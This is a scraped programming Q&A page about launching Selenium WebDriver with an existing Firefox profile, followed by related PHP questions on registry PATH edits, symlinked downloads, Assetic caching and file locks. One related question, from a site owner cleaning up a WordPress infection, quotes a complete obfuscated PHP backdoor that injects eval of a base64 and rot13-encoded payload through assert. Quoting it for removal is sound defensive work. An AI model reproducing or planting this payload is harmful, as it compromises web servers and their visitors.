Selenium2, by default, starts firefox with a fresh profile. I like that for a default, but for some good reasons (access to my bookmarks, saved passwords, use my add-ons, etc.) I want to start with my default profile.
There is supposed to be a property controlling this but I think the docs are out of sync with the source, because as far as I can tell webdriver.firefox.bin is the only one that works. E.g. starting selenium with:
java -jar selenium-server-standalone-2.5.0.jar -Dwebdriver.firefox.bin=not-there
works (i.e. it complains). But this has no effect:
java -jar selenium-server-standalone-2.5.0.jar -Dwebdriver.firefox.profile=default
("default" is the name in profiles.ini, but I've also tried with "Profile0" which is the name of the section in profiles.ini).
I'm using PHPWebdriver (which uses JsonWireProtocol) to access:
$webdriver = new WebDriver("localhost", "4444");
$webdriver->connect("firefox");
I tried doing it from the PHP side:
$webdriver->connect("firefox","",array('profile'=>'default') );
or:
$webdriver->connect("firefox","",array('profile'=>'Profile0') );
with no success (firefox starts, but not using my profile).
I also tried the hacker's approach of creating a batch file:
#!/bin/bash
/usr/bin/firefox -P default
And then starting Selenium with:
java -jar selenium-server-standalone-2.5.0.jar -Dwebdriver.firefox.bin="/usr/local/src/selenium/myfirefox"
Firefox starts, but not using by default profile and, worse, everything hangs: selenium does not seem able to communicate with firefox when started this way.
P.S. I saw Selenium - Custom Firefox profile I tried this:
java -jar selenium-server-standalone-2.5.0.jar -firefoxProfileTemplate "not-there"
And it refuses to run! Excited, thinking I might be on to something, I tried:
java -jar selenium-server-standalone-2.5.0.jar -firefoxProfileTemplate /path/to/0abczyxw.default/
This does nothing. I.e. it still starts with a new profile :-(
Simon Stewart answered this on the mailing list for me.
To summarize his reply: you take your firefox profile, zip it up (zip, not tgz), base64-encode it, then send the whole thing as a /session json request (put the base64 string in the firefox_profile key of the Capabilities object).
An example way to do this on Linux:
cd /your/profile
zip -r profile *
base64 profile.zip > profile.zip.b64
And then if you're using PHPWebDriver when connecting do:
$webdriver->connect("firefox", "", array("firefox_profile" => file_get_contents("/your/profile/profile.zip.b64")))
NOTE: It still won't be my real profile, rather a copy of it. So bookmarks won't be remembered, the cache won't be filled, etc.
Here is the Java equivalent. I am sure there is something similar available in php.
ProfilesIni profile = new ProfilesIni();
FirefoxProfile ffprofile = profile.getProfile("default");
WebDriver driver = new FirefoxDriver(ffprofile);
If you want to additonal extensions you can do something like this as well.
ProfilesIni profile = new ProfilesIni();
FirefoxProfile ffprofile = profile.getProfile("default");
ffprofile.addExtension(new File("path/to/my/firebug.xpi"));
WebDriver driver = new FirefoxDriver(ffprofile);
java -jar selenium-server-standalone-2.21.0.jar -Dwebdriver.firefox.profile=default
should work. the bug is fixed.
Just update your selenium-server.
I was curious about this as well and what I got to work was very simple.
I use the command /Applications/Firefox.app/Contents/MacOS/firefox-bin -P to bring up Profile Manager. After I found which profile I needed to use I used the following code to activate the profile browser = Selenium::WebDriver.for :firefox, :profile => "batman".
This pulled all of my bookmarks and plug-ins that were associated with that profile.
Hope this helps.
From my understanding, it is not possible to use the -Dwebdriver.firefox.profile=<name> command line parameter since it will not be taken into account in your use case because of the current code design. Since I faced the same issue and did not want to upload a profile directory every time a new session is created, I've implemented this patch that introduces a new firefox_profile_name parameter that can be used in the JSON capabilities to target a specific Firefox profile on the remote server. Hope this helps.
I did It in Zend like this:
public function indexAction(){
$appdata = 'C:\Users\randomname\AppData\Roaming\Mozilla\Firefox' . "\\";
$temp = 'C:\Temp\\';
$hash = md5(rand(0, 999999999999999999));
if(!isset($this->params['p'])){
shell_exec("\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -CreateProfile " . $hash);
}else{
$hash = $this->params['p'];
}
$ini = new Zend_Config_Ini('C:\Users\randomname\AppData\Roaming\Mozilla\Firefox\profiles.ini');
$path = false;
foreach ($ini as $key => $value){
if(isset($value->Name) && $value->Name == $hash){
$path = $value->Path;
break;
}
}
if($path === false){
die('<pre>No profile found with name: ' . $hash);
}
echo "<pre>Profile : $hash \nProfile Path : " . $appdata . "$path \n";
echo "Files: \n";
$filesAndDirs = $this->getAllFiles($appdata . $path);
$files = $filesAndDirs[0];
foreach ($files as $file){
echo " $file\n";
}
echo "Dirs : \n";
$dirs = array_reverse($filesAndDirs[1]);
foreach ($dirs as $dir){
echo " $dir\n";
}
echo 'Zipping : ';
$zip = new ZipArchive();
$zipPath = md5($path) . ".temp.zip";
$zipRet = $zip->open($temp .$zipPath, ZipArchive::CREATE);
echo ($zipRet === true)?"Succes\n":"Error $zipRet\n";
echo "Zip name : $zipPath\n";
foreach ($dirs as $dir){
$zipRet = $zip->addEmptyDir($dir);
if(!($zipRet === true) ){
echo "Error creating folder: $dir\n";
}
}
foreach ($files as $file){
$zipRet = $zip->addFile($appdata . $path ."\\". $file,$file);
if(!($zipRet === true && file_exists($appdata . $path . "\\". $file) && is_readable($appdata . $path . "\\". $file))){
echo "Error zipping file: $appdata$path/$file\n";
}
}
$zipRet = $zip->addFile($appdata . $path ."\\prefs.js",'user.js');
if(!($zipRet === true && file_exists($appdata . $path . "\\". $file) && is_readable($appdata . $path . "\\". $file))){
echo "Error zipping file: $appdata$path/$file\n";
}
$zipRet = $zip->close();
echo "Closing zip : " . (($zipRet === true)?("Succes\n"):("Error:\n"));
if($zipRet !== true){
var_dump($zipRet);
}
echo "Reading zip in string\n";
$zipString = file_get_contents($temp .$zipPath);
echo "Encoding zip\n";
$zipString = base64_encode($zipString);
echo $zipString . "\n";
require 'webdriver.php';
echo "Connecting Selenium\n";
$webDriver = new WebDriver("localhost",'4444');
if(!$webDriver->connect("firefox","",array('firefox_profile'=>$zipString))
{
die('Selenium is not running');
}
}
private function getAllFiles($path,$WithPath = false){
$return = array();
$dirs = array();
if (is_dir($path)) {
if ($dh = opendir($path)) {
while (($file = readdir($dh)) !== false) {
if(!in_array($file, array('.','..'))){
if(is_dir($path . "\\" . $file)){
$returned = $this->getAllFiles($path . "\\" . $file,(($WithPath==false)?'':$WithPath) . $file . "\\");
$return = array_merge($return,$returned[0]);
$dirs = array_merge($dirs,$returned[1]);
$dirs[] = (($WithPath==false)?'':$WithPath) . $file;
}else{
$return[] = (($WithPath==false)?'':$WithPath) . $file;
}
}
}
closedir($dh);
}
}
return array($return,$dirs);
}
The Idea is that you give in the get/post/zend parameters P with the name of the profile if not a random wil be created, and he will zip all the files put it in the temp folder and put it in.
Related
I am trying to update the Path environment variable in Windows with a PHP script, but if I use putenv() it doesn't change. I can get the paths list in the Path variable but I am not able to update it.
Another problem is that if I use getenv('Path') to get the paths list, I have a unique string with all paths merged from the Path variable of User and of the Machine.
I'm wondering if there is a better way to do that, maybe acting directly in the registry key to update User Path variable.
UPDATE
I think I found out a half-solution, but it doesn't work as expected.
What do I want to do?
I just want to make a script that allow me to switch from a PHP version to another changing the Path variable.
I made the script, it seems to work and the Path variable is successfully updated, but even if I close and reopen the cmd prompt if I type php -v it doesn't seems to get the updated var. If I open the Environment Variables windows, then open the "Path" variable and click on Ok and Ok again, then the refresh is got but the cmd prompt.
This is very strange to me, and if I have to do this everytime, then script loose its benefit...
I recorded a video, I hope it explain the problem better than my English...
https://1drv.ms/v/s!Ao2s4w8xSxBSh7RY4y5pB8u1g_QFSQ
This is the code of the script:
// Load PHP available versions
$laragon_php_paths = 'D:\www-servers\laragon\bin\php';
$php_paths = scandir($laragon_php_paths);
$path_var_name = "Path";
// Backup before doing a disaster
$date = new DateTime();
exec('REG EXPORT HKCU\Environment BackupUserEnvironment_' . $date->format('YmdHisv') . '.reg');
// Load registry key of user's Path environment variable
exec('REG QUERY HKCU\Environment /v ' . $path_var_name, $output, $result);
$path = explode(' ', $output[2]);
$path_array = explode(';', $path[count($path) - 1]);
// Get the current PHP Version and get the key of the item of the PHP bin path
foreach ($path_array as $key => $path_item) {
if (strpos($path_item, $laragon_php_paths) !== false) {
$the_key = $key;
$current_php_version = substr($path_item, strrpos($path_item, '\\') + 1);
}
}
echo 'Available PHP versions:' . PHP_EOL . PHP_EOL;
$i = 0;
foreach ($php_paths as $dir) {
if ($dir === '.' || $dir === '..') continue;
echo ' [' . ++$i . '] ' . $dir;
if ($dir === $current_php_version) {
echo ' [Current version]';
}
echo PHP_EOL;
}
// Get file descriptor for stdin
echo PHP_EOL;
echo 'Select a PHP version: ';
$fd = fopen('php://stdin', 'r');
$choice = (int) fgets($fd);
echo PHP_EOL;
// Check if choice is between 1 and number of choices
if ($choice > 0 && $choice <= $i) {
// Change the original php version with the new one
$new_php_version = $php_paths[$choice + 1];
$path_array[$the_key] = $laragon_php_paths . '\\' . $new_php_version;
echo 'PHP version changed to: ' . $new_php_version . PHP_EOL;
} else {
echo 'No allowed choice, nothing changed.';
echo PHP_EOL;
}
// Escape some chars for cmd
$new_path_var = str_replace(['%', ' '], ['^%', '" "'], implode(';', $path_array));
$cmd = 'REG ADD HKCU\Environment /f /t REG_EXPAND_SZ /v ' . $path_var_name . ' /d ' . $new_path_var;
// Execute
exec($cmd);
Long story short, my server was infected through an old wordpress install. I found the leak and now I have to clean up all of the affected files. All files that were affected were given a block of code, which is the same across all affected files.
I'm trying to loop through my server directory, search for this block of code then delete it and save the file.
There are a couple of problems that might make this hard.
The stuff I'm looking for is PHP code and I'm not sure the way I'm doing this will look for a specific string in a code block, rather it will only look for strings
My host has changed the permissions on any of these files to 200, so I need to change these to 604 or 777 (temporarily) to be able to open, change and save the files.
This is what I have so far:
function getDirContents($dir, $mal) {
$files = scandir($dir);
foreach($files as $file) {
if($file == "." || $file == "..") continue;
if(!is_file($dir . $file)){
//echo "Folder: " . $dir . $file . "<br />";
getDirContents($dir.$file."/", $mal);
} else {
//echo "File: " . $dir . $file . "<br />";
$content = file_get_contents($dir . $file);
if (strpos($content, $mal) !== false) {
echo "FOUND" . $dir.$file . "<br>";
}
}
}
}
$dir = "./";
$mal = "//###=CACHE START=###";
getDirContents($dir, $mal);
So, I am searching for this specific comment: //###=CACHE START=###. This is the same in every affected file, but I can not seem to search for it.
I haven't gotten to the deleting of the code block yet, but I am trying to remove this from each file:
//###=CACHE START=###
error_reporting(0);
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl8kAwDhZGZlYwD0YwR4BP9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEcpPxhVvMxCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwt2LGV2ZmWxZGp0MGIvAJV2ZJVjAGpmZJV5LwOyZGOzVv4xMP4xqF4xLl4vZFVcBjccMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsFOyoUAynJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWUWyp3IfqPN9VTA1pzksMKuyLltxL2tcBjcwqKWfK2Afo3AyXPEwnPx7PvEcLaLtCFNxpzImqJk0Bjc9VTIfp2HtrjbxMaNtCFOzp29wn29jMJ4bVwR2AP4kZmVhAQDhZGt4VvjtBQNfVPEypaWholjtWTIlpaA0pvjtZmNcBjccMvNbWTMjXFO7PvNtVPNxo3I0VQ0tVxqSIPNiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxnKNcYvVzMQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV4AzRlAwZlMQR3ATH1LwIvAwSvZQH3ZmSvBJVjMGRjMvVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvNkAwDhZGZlYwD0YwR4BSklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVzSuZmR3MzWzVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###
Any advice?
so I come to you with this problem:
GIVENS:
I have Hostgator as the ISP.
I'm using PHP 5.5
The LINUX box is CENTOS
Shared Hosting Environment
I am a professional coder and experienced with LAMP for many years
PROBLEMS:
I'm NOT familiar with Jailed Shell but have an idea
I've tried the script and have been searching for an answer
Still Stuck...
Here's my current code:
function getMyFakeDir($myfile) {
$target = "";
$link = 'content/purchased-items/link';
symlink($target, $link);
echo "READ LINK: ". readlink($link);
return readlink($link);
}
Here's the called to the function:
$linkText = getMyFakeDir('SomePDFThatTheUserCanDownload.pdf');
Then I pass that "$linkText" var to PHPMailer and wala!!! The user clicks to download through the Symlink and I've written a code to make it expire after 24 hours. Yeah, I got that from PHP.net.
So, basically that's my problem....
Here's the error:
Warning: symlink(): Permission denied in /homeSomewhere/someMasterDir/public_html/webServices/somePHPFile.php on line 654
This is link 654 from above:
symlink($target, $link);
Thanks...
Figured it out.... Simple LOGIC!
First I had the PATHS all wrong. Here's the CORRECTED CODE:
//Generate Symbolic Link that blows away a fake directory each time
//A symbolic Link is created to "THIS" file below
$filename = $myfile;
//This is ANY directory on the server...
//A randomly named directory is created here...STEP 1
$downloaddir = "/home/someHostDir/public_html/sldktrulwiu2555ivd0fjvdfgdfgdfgdf/";
//Any directory NOT accessible by a browser - This is one level up
$safedir = "/home/someHostDir/content/purchased-items/";
//This is the equivalent of the $downloaddir and the browser is REDIRECTED here and the download begins
$downloadURL = "http://www.theSomeDomain.com/sldktrulwiu2555ivd0fjvdfgdfgdfgdf/"; //THIS IS THE FAKE DIRECTORY (Which I simply type gobbligook and created that mess above)
$letters = 'abcdefghijklmnopqrstuvwxyz';
srand((double) microtime() * 1000000);
$string = '';
for ($i = 1; $i <= rand(4, 12); $i++) {
$q = rand(1, 24);
$string = $string . $letters[$q];
}
$handle = opendir($downloaddir);
while ($dir = readdir($handle)) {
if (is_dir($downloaddir . $dir)) {
if ($dir != "." && $dir != "..") {
#unlink($downloaddir . $dir . "/" . $filename);
#rmdir($downloaddir . $dir);
}
}
}
closedir($handle);
mkdir($downloaddir . $string, 0777);
symlink($safedir . $filename, $downloaddir . $string . "/" . $filename);
//Header("Location: " . $downloadURL . $string . "/" . $filename);
That just about does it.
The result is a Dynamic directory inside the "/sldktrulwiu2555ivd0fjvdfgdfgdfgdf/" directory like this: "dfsgss/" and a "shortcut" to the REAL LOCATION where the files are. THEN when the file is downloaded, and the page returns to the INDEX.HTML, the code BLOWS OUT the FAKE directory Never more to be seen again. Thus, if the user wants to go back, they get the horrible 404 PAGE error that the file / has been moved or deleted. BUMMER.
That's it folks. Thanks for your assistance, it was you all the helped me release my error. TEAM WORK!
I have a class that uses Assetic to generate some css files to disk. I'll jump right into the code.
In my layout header, I'm doing something like this:
$assetify = new Assetify();
$assetify->setDebug(true);
$assetify->setAssetDirectory(BASE_DIR . '/public/assets');
$assetify->setOutputDirectory(BASE_DIR . '/public/assets/generated');
$assetify
->addStylesheet('/assets/css/bootstrap-2.3.2.css')
->addStylesheet('/assets/css/select2-3.4.3.css')
->addStylesheet('/assets/css/main.css');
echo $assetify->dump();
My "Assetify" class runs this through Assetic. I'll paste what I hope are only the relevant portions from the dump() function:
// The Asset Factory allows us to not have to do all the hard work ourselves.
$factory = new AssetFactory($this->assetDirectory, $this->debug);
$factory->setDefaultOutput('/generated/*.css');
// The Filter Manager allows us to organize filters for the asset handling.
// For other filters, see: https://github.com/kriswallsmith/assetic
$fm = new FilterManager();
$fm->set('yui_css', new Yui\CssCompressorFilter('/usr/local/bin/yuicompressor-2.4.7.jar'));
$fm->set('yui_js', new Yui\JsCompressorFilter('/usr/local/bin/yuicompressor-2.4.7.jar'));
$factory->setFilterManager($fm);
// The Asset Manager allows us to keep our assets organized.
$am = new AssetManager();
$factory->setAssetManager($am);
// The cache-busting worker prefixes every css with what amounts to a version number.
$factory->addWorker(new CacheBustingWorker());
$assetCollection = array();
foreach ($assetGroups as $assetGroup) {
foreach ($assetGroup as $media => $items) {
$fileCollection = array();
foreach ($items as $item) {
// Add this asset to the asset collection.
$fileCollection[] = new FileAsset($item);
}
$assetCollection[] = new AssetCollection($fileCollection);
}
}
$assetCollection = new AssetCollection($assetCollection);
$am->set('base_css', $assetCollection);
// Generate the required assets. Prefixing a filter name with a question mark
// will cause that filter to be omitted in debug mode.
$asset = $factory->createAsset(
array('#base_css'),
array('?yui_css')
);
// Configure an internal file system cache so we don't regenerate this file on every load.
$cache = new AssetCache(
$asset,
new FilesystemCache($this->outputDirectory)
);
// And generate static versions of the files on disk.
$writer = new AssetWriter($this->assetDirectory);
$writer->writeAsset($cache);
This generates two different files, 87229eb-f47a352.css and a37c1589762f39aee5bd24e9405dbdf9. The contents of the files are exactly the same. The 87229eb-f47a352.css file seems to get generated every single time, and the other file is not regenerated unless the contents of the files change (this is what I would like). If I comment out the $writer->writeAsset($cache), no files are written to disk.
What obvious configuration am I missing? I appreciate the help, thank you.
I was able to roughly replicate your code and got the same results.
I was trying to get the same results as what I think you require but ended up writing my own code to cache and serve static files.
It's not complete by any means but it is working. It has the following features:
You can choose to cache files for different pages if you specify $filename
You can choose to create versions of your released files or delete previous versions
A cached file will be generated to your target folder only if changes have made to a source file
You just need to put the code in to a class or function and return the url to serve.
Hope it helps :)
<?php
use Assetic\Factory\AssetFactory;
use Assetic\AssetManager;
use Assetic\FilterManager;
use Assetic\Asset\AssetCollection;
use Assetic\Asset\FileAsset;
use Assetic\Filter\JSMinFilter;
// JavaScript Collection
$js_collection[] = new FileAsset(SCRIPT_PATH . 'jquery.js');
$js_collection[] = new FileAsset(SCRIPT_PATH . 'production.js');
if (file_exists(SCRIPT_PATH . $page_info['name'] . '.js')) {
$js_collection[] = new FileAsset(SCRIPT_PATH . $page_info['name'] . '.js');
}
// CSS Collection
$css_collection[] = new FileAsset(STYLE_PATH . 'theme.css');
if (file_exists(STYLE_PATH . $page_info['name'] . '.css')) {
$css_collection[] = new FileAsset(STYLE_PATH . $page_info['name'] . '.css');
}
// The Filter Manager allows us to organize filters for the asset handling.
$fm = new FilterManager();
$fm->set('js', new JSMinFilter());
$js = new AssetCollection (
$js_collection
);
$js->setTargetPath(SCRIPT_PATH . 'static');
$css = new AssetCollection (
$css_collection
);
$css->setTargetPath(STYLE_PATH . 'static');
$am = new AssetManager();
$am->set('js', $js);
$am->set('css', $css);
//** TO DO: put the below in a class and return the static file names **//
// options
$seperator = '-';
$filename = $page_info['name'];
$versions = false;
// get a list of all collection names
$collections = $am->getNames();
// get each collection
foreach ($collections as $collection_name) {
// get the collection object
$collection = $am->get($collection_name);
// ensure file types are identical
$last_ext = false;
foreach ($collection as $leaf) {
$ext = strtolower(pathinfo($leaf->getSourcePath(), PATHINFO_EXTENSION));
if (!$last_ext || $ext == $last_ext) {
$last_ext = $ext;
} else {
throw new \RuntimeException('File type mismatch.');
}
}
// get the highest last-modified value of all assets in the current collection
$modified_time = $collection->getLastModified();
// get the target path
$path = $collection->getTargetPath();
// the target path must be set
if (!$path) {
throw new \RuntimeException('Target path not specified.');
}
// build the filename to check
$file = ($filename) ? $filename . $seperator . $modified_time . '.' . $ext : $modified_time . '.' . $ext;
$cached_file = $path . '/' . $file;
// the file doesn't exist so we need to minify, dump and save as new cached file
if (!file_exists($cached_file)) {
// create the output dir if it doesnt exist
if (!is_dir($path) && false === #mkdir($path, 0777, true)) {
throw new \RuntimeException('Unable to create directory ' . $path);
}
// apply the filters
if ($fm->has($collection_name)) {
$collection->ensureFilter($fm->get($collection_name));
}
// If not versioned, delete previous version of this file
if (!$versions) {
if ($filename) {
foreach (glob($path . '/' . $filename . $seperator . '*.' . $ext) as $searchfile) {
#unlink($searchfile);
}
} else {
foreach (glob($path . '/*.' . $ext) as $searchfile) {
#unlink($searchfile);
}
}
}
// put the contents in the file
if (false === #file_put_contents($cached_file, $collection->dump())) {
throw new \RuntimeException('Unable to write file ' . $cached_file);
}
}
// return the cached file
echo 'output: ' . $cached_file . '<br>';
}
exit;
?>
This script is supposed to write log files using file locks etc to make sure that scripts running at the same time don't have any read/write complications. I got it off someone on php.net. When I tried to run it twice at the same time, I noticed that it completely ignored the lock file. However, when I ran them consecutively, the lock file worked just fine.
That doesn't make any sense whatsoever. The script just checks if a file exists, and acts based on that. Whether another script is running or not, shouldn't influence it at all. I double checked to make sure the lock file was created in both cases; it was.
So I started to do some testing.
First instance started at 11:21:00 outputs:
Started at: 2012-04-12 11:21:00
Checking if weblog/20120412test.txt.1.wlock exists
Got lock: weblog/20120412test.txt.1.wlock
log file not exists, make new
log file was either appended to or create anew
Wrote: 2012-04-12 11:21:00 xx.xx.xx.xxx "testmsg"
1
Second instance started at 11:21:03 outputs:
Started at: 2012-04-12 11:21:00
Checking if weblog/20120412test.txt.1.wlock exists
Got lock: weblog/20120412test.txt.1.wlock
log file not exists, make new
log file was either appended to or create anew
Wrote: 2012-04-12 11:21:00 xx.xx.xx.xxx "testmsg"
1
So there are two things wrong here. The timestamp, and the fact that the script sais the lock file doesn't exist even though it most certainly does.
It's almost as if the second instance of the script simply outputs what the first one did.
<?php
function Weblog_debug($input)
{
echo $input."<br/>";
}
function Weblog($directory, $logfile, $message)
{
// Created 15 september 2010: Mirco Babin
$curtime = time();
$startedat = date('Y-m-d',$curtime) . "\t" . date('H:i:s', $curtime) . "\t";
Weblog_debug("Started at: $startedat");
$logfile = date('Ymd',$curtime) . $logfile;
//Set directory correctly
if (!isset($directory) || $directory === false)
$directory = './';
if (substr($directory,-1) !== '/')
$directory = $directory . '/';
$count = 1;
while(1)
{
//*dir*/*file*.*count*
$logfilename = $directory . $logfile . '.' . $count;
//*dir*/*file*.*count*.lock
$lockfile = $logfilename . '.wlock';
$lockhandle = false;
Weblog_debug("Checking if $lockfile exists");
if (!file_exists($lockfile))
{
$lockhandle = #fopen($lockfile, 'xb'); //lock handle true if lock file opened
Weblog_debug("Got lock: $lockfile");
}
if ($lockhandle !== false) break; //break loop if we got lock
$count++;
if ($count > 100) return false;
}
//log file exists, append
if (file_exists($logfilename))
{
Weblog_debug("log file exists, append");
$created = false;
$loghandle = #fopen($logfilename, 'ab');
}
//log file not exists, make new
else
{
Weblog_debug("log file not exists, make new");
$loghandle = #fopen($logfilename, 'xb');
if ($loghandle !== false) //Did we make it?
{
$created = true;
$str = '#version: 1.0' . "\r\n" .
'#Fields: date time c-ip x-msg' . "\r\n";
fwrite($loghandle,$str);
}
}
//was log file either appended to or create anew?
if ($loghandle !== false)
{
Weblog_debug("log file was either appended to or create anew");
$str = date('Y-m-d',$curtime) . "\t" .
date('H:i:s', $curtime) . "\t" .
(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-') . "\t" .
'"' . str_replace('"', '""', $message) . '"' . "\r\n";
fwrite($loghandle,$str);
Weblog_debug("Wrote: $str");
fclose($loghandle);
//Only chmod if new file
if ($created) chmod($logfilename,0644); // Read and write for owner, read for everybody else
$result = true;
}
else
{
Weblog_debug("log file was not appended to or create anew");
$result = false;
}
/**
Sleep & disable unlinking of lock file, both for testing purposes.
*/
//Sleep for 10sec to allow other instance(s) of script to run while this one still in progress.
sleep(10);
//fclose($lockhandle);
//#unlink($lockfile);
return $result;
}
echo Weblog("weblog", "test.txt", "testmsg");
?>
UPDATE:
Here's a simple script that just shows the timestamp. I tried it on a different host so I don't think it's a problem with my server;
<?php
function Weblog_debug($input)
{
echo $input."<br/>";
}
$curtime = time();
$startedat = date('Y-m-d',$curtime) . "\t" . date('H:i:s', $curtime) . "\t";
Weblog_debug("Started at: $startedat");
$timediff = time() - $curtime;
while($timediff < 5)
{
$timediff = time() - $curtime;
}
Weblog_debug("OK");
?>
Again, if I start the second instance of the script while the first is in the while loop, the second script will state it started at the same time as the first.
I can't fricking believe this myself, but it turns out this is just a "feature" in Opera. The script works as intended in Firefox. I kinda wish I tested that before I went all berserk on this but there ya go.